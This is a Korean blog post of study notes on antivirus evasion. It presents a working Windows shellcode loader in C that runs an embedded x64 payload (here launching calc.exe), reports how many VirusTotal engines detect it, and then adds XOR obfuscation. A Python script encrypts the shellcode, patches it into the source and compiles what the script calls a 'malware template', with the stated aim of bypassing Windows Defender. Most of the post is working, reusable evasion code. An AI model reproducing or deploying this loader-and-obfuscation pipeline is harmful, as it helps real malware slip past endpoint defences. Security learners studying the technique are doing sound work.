본문 바로가기

System/TTPs

AV 엔진 우회 실습 1

참고:  https://cocomelonc.github.io/

AV 엔진 우회 실습 1

 

[튜토리얼]

payload: calc.exe 프로세스를 실행하는 코드. (멀웨어라고 가정)

 

목적

1. 코드 실행

2. 악성 프로그램을 탐지하는 안티바이러스 엔진의 수를 확인

3. 해당 엔진의 수를 줄이려고 시도할 것.

▶ 본인은 Windows Defender를 우회하려는 목적으로 시도해볼 것이다.

 

 

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char my_payload[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int my_payload_len = sizeof(my_payload);

int main(void) {
	void* my_payload_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;

	my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

	rv= VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
	if (rv != 0) {
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
		WaitForSingleObject(th, -1);
	}
	return 0;
}

 

프로세스 메모리 내에서 payload를 실행... 하려면 수행해야 할 것이 있다.

① 새로운 메모리 버퍼 생성

② 해당 버퍼에 payload 복사

③ 버퍼 실행

 

 

payload. calc.exe

 

VirtualAlloc()

  • 가상 메모리 할당 함수. 이 함수를 통해 대상 프로세스 영역에 접근이 가능하다.
  • 페이로드를 위한 새로운 메모리 영역을 할당한 후 주소를 my_payload_mem에 저장
  • 읽기와 쓰기가 모두 가능한 메모리 영역
  • VirtualAlloc(): malloc보다 많은 기능 제공.
  • VirtualAlloc(할당하고자 하는 주소 위치, 할당 크기, 할당 타입, 액세스 타입)
  • 함수 수행 성공 시 할당된 페이지 영역의 base address, 실패 시 NULL
VOID VirtualAlloc(
	LPVOID lpAddress,
	SIZE_T dwSize,
	DWORD flAllocationType,
	DWORD flProtect
);

 

MEM_COMMIT | MEM_RESERVE

  • RESERVE는 프로세스 주소공간에 대해 사용할 영역을 미리 할당하여 물리적 저장소와 매칭될 수 있도록 예약하는.. 준비작업을 하는 것이다.
  • COMMIT이란 RESERVE를 통해 예약한 공간을 실제로 사용하기 위해 물리적 저장소를 할당, 할당된 영역과 RESERVE된 주소공간 간 매핑작업을 수행한다.
  • RESERVE는 사용자 주소공간에 대해 미리 사용할 주소공간을 예약
  • COMMIT은 예약한 주소공간과 물리적 저장소를 매핑

 

해당 작업 후에는 프로세스가 물리적 저장소를 사용할 준비는 되었지만..
아직 실제로 RAM이 할당된 것은 아니고, 물리적 저장소로 Paging file을 이용함.
실제 RAM이 할당되는 시기는 해당 영역에 액세스하는 순간이다. 이 때 커널이 해당 Paging file을 RAM으로 로드하여 실질적인 접근이 가능하도록 한다.


PAGE_READWRITE

  • 해당 페이지에 대해서 읽기, 쓰기가 가능하다.
  • commit된 메모리 페이지에 대해서 모든 권한 부여하는 것.

 

 

 

RtlMoveMemory()

  • 버퍼의 페이로드를 카피
  • RtMoveMemory(복사할 대상을 가리키는 포인터, 복사할 소스를 가리키는 포인터, 복사할 바이트 수)
VOID RtlMoveMemory(
	VOID UNALIGNED *Destination,
	const VOID UNALIGNED *Source,
	SIZE_T Length 
);

 

VirtualProtect()

  • 메모리 영역 실행권한 변경(보호수준 변경)
  • 함수 수행 실패 시 0을 반환한다.
HRESULT VirtualProtect (
	void* lpAddress,
	SIZE_T dwSize,
	DWORD flNewProtect,
	DWORD* pflOldProtect 
);

 

 

 

CreateThread()

  • CreateThread(새로 생성되는 스레드에 연결할 보안 디스크립터)
 
HANDLE CreateThread(
	LPSECURITY_ATTRIBUTES lpThreadAttributes, //생성될 스레드 핸들이 상속이 가능한지 지정. 0이면 불가능
	SIZE_T dwStackSize, //스택의 초기 크기. 0이면 실행 파일의 기본 크기 사용
	LPTHREAD_START_ROUTINE lpStartAddress, //함수 포인터. 새로운 스레드의 실행을 위한 진입점 역할.
	__drv_aliasesMem LPVOID lpParameter, //스레드에 전달할 인자
	DWORD dwCreationFlags, //스레드 생성 제어 플래그. 0이면 스레드 생성 후 run
	LPDWORD lpThreadId // 0이면 스레드id 반환X
);

 

WaitForSingleObject

  • 스레드가 특정 SIGNAL을 받을 때까지 정지해있다가 SIGNAL 받으면 작업을 수행, 그리고 다시 정지 상태로 돌아가도록 함.
DWORD WaitForSingleObject(
	HANDLE hHandle, // 이벤트 오브젝트 핸들
	DWORD dwMilliseconds //타임아웃 간격. millisecond단위. INFINITE로 설정 시 무한정으로 기다림.
);​

 

:: 반환되는 값 ::

WAIT_FAILED: 실패 시 반환
WAIT_ABANDONED: 이벤트 오브젝트를 리셋한 후 다시 WaitForSingleObject() 호출
WAIT_OBJECT_0: 기다리던 이벤트 오브젝트가 signal됐을 때 반환
WAIT_TIMEOUT: 타임아웃

어라 근데
WaitForSingleObject(th, -1)인데..
-1은 INFINITE인가?
물어봐야지 질문질문
-> 맞다고 합니다.^^ -1 하면 언더플로우되서 0xffffff

 


바이러스 토탈에서 검사해본결과.....

25개의 AV엔진에서 탐지되었다!

 

 


 

- 이를 위해서는 페이로드를 암호화해야 함.
- 위에서는 암호화하지 않은 페이로드를 그대로 넣어서 썼음.
- AV엔진과 리버스 엔지니어가 페이로드를 식별하는 것을 우회하기 위해서 XOR 암호화를 사용해보자.


XOR 암호화💥
- 간단한 암호화
- 대칭 키 알고리즘 이용. 그리고 비밀 키 "my_secret_key" 이용



코드를 업데이트 하겠음.

UpdateCode.cpp

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//우리의 소중한 계산기 페이로드
unsigned char my_payload[] = {};
unsigned int my_payload_len = sizeof(my_payload);

// XOR 복호화 키
char my_secret_key[] = "mysupersecretkey";

// deXOR 복호화 함수
void XOR(char* data, size_t data_len, char* key, size_t key_len) {
    int j;
    j = 0;
    for (int i = 0; i < data_len; i++) {
        if (j == key_len - 1) j = 0;

        data[i] = data[i] ^ key[j];
        j++;
    }
}


int main(void) {
    void* my_payload_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // DeXOR 함수 이용한 페이로드 복호화
    XOR((char*)my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));

    RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

    rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
    if (rv != 0) {
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }
    return 0;
}

 

 

 

1. RtlMoveMemory() 함수를 사용하여 버퍼에 카피하기 전, 페이로드를 XOR암호화한 것을 복호화 함.(deXOR)

 

 

 

2. 빈 페이로드 { }; 를 채워주어야 함.

 

이를 위해 페이로드(calc의)를 XOR 통해 암호화하고, 이를 C++ 코드로 대체하는 py 스크립트를 만들 것.

 

 

※ 그 전에 calc.bin 파일 만들어놓자. calc.exe 실행하는 페이로드를 적어둔 바이너리 파일.

 

 


XORenc.py

import sys
import os
import hashlib
import string

## data를 암호화 하기 위한 XOR 함수
def xor(data, key):
    key = str(key)
    l = len(key)
    output_str = ""

    for i in range(len(data)):
        current = data[i]
        current_key = key[i % len(key)]
        ordd = lambda x: x if isinstance(x, int) else ord(x) #람다. isinstance=해당 변수가 int인지 확인.
        #만약 x가 int형이면 x반환. 아니면 ord(x)반환.
        #ord(문자) 하나의 문자를 인자로 받고 해당 문자에 해당하는 유니코드 정수를 반환
        #chr(정수) 하나의 정수를 인자로 받고 해당 정수에 해당하는 유니코드 문자를 반환
        output_str += chr(ordd(current) ^ ord(current_key)) #ordd()에 current넣음. x에 들어가겠지
    return output_str


## XOR함수를 사용하여 암호화된 텍스트를 만들건데 형태가 0x어쩌구
def xor_encrypt(data, key):
    ciphertext = xor(data, key)
    ciphertext = "{ 0x" + ", 0x".join(hex(ord(x))[2:] for x in ciphertext) + " };" #join()문자열 이어붙이기
    print(ciphertext)
    return ciphertext, key


## 암 복호화 키 (비밀키)
my_secret_key = "mysupersecretkey"

## 우리의 소중한 계산기 페이로드
plaintext = open("./calc.bin", "rb").read() #rb는 읽기 바이너리파일


ciphertext, p_key = xor_encrypt(plaintext, my_secret_key)

## C++ 코드로 우리의 페이로드를 오픈! 교체!
tmp = open("UpdateCode.cpp", "rt") #rt는 읽기 텍스트파일(텍스트파일이 기본값이라 그냥 r이랑 같음)
data = tmp.read()
data = data.replace(
    "unsigned char my_payload[] = { };", "unsigned char my_payload[] = " + ciphertext
)  #앞에거를 뒤에거로 교체
tmp.close()
tmp = open("UpdateCode.cpp", "w+") 
#w+는 읽기 및 쓰기 가능. 같은 이름의 기존 파일은 제거. (r+도 읽기 및 쓰기이나 같은이름파일 제거는 안함)
tmp.write(data)
tmp.close()

## 컴파일 예외처리
try:
    cmd = "gcc UpdateCode.cpp -o UpdateCode.exe"
    os.system(cmd)
except:
    print("error compiling malware template :(")
    sys.exit()
else:
    print(cmd)
    print("successfully compiled :)")
람다식
lambda x: x if isinstance(x, int) else ord(x) 의미


def func(x):
     if(x=인트형): x반환
     else: ord(x) 반환
"구분자".join()
 # hex(ord(x))[2:] 의미: 
 # x를(cophertext의 한글자 한글자) 정수로 변환한 것을 16진수로 변환한 것의 2번째 글자(0x12의 경우 12만)부터 
      끝까지의 문자를 ciphertext 길이만큼 반복.
 # join()은 리스트를 문자열로 합쳐주는 함수. "구분자".join()으로 사용한다.
 # 첫 "{ 0x" 뒤에 x붙이고, ", 0x"로 구분하여 다음 x 붙이고 ... 반복. 끝나면 구분자도 필요없겠지.

 

코드 실행 결과

 

py스크립트 실행 후 터미널
UpdateCode.cpp

 

분명 비어있던 my_payload[]가 채워져있다!! 근데 XOR 암호화된 상태인 듯.

UpdateCode.cpp에서 이 코드를 복호화 함.

 

무사히 .text 섹션에 암호화된 페이로드 저장!

어 줄었다 ㅋㅋ

'System > TTPs' 카테고리의 다른 글

2. DLL Hijacking  (0) 2023.03.29
1. Process Hollowing이란?  (0) 2023.03.29
UAC bypass 실습하다가 컴날림  (1) 2022.07.15
AV 엔진 우회 2  (0) 2022.06.11
VM 엔진 우회 실습 1  (0) 2022.04.28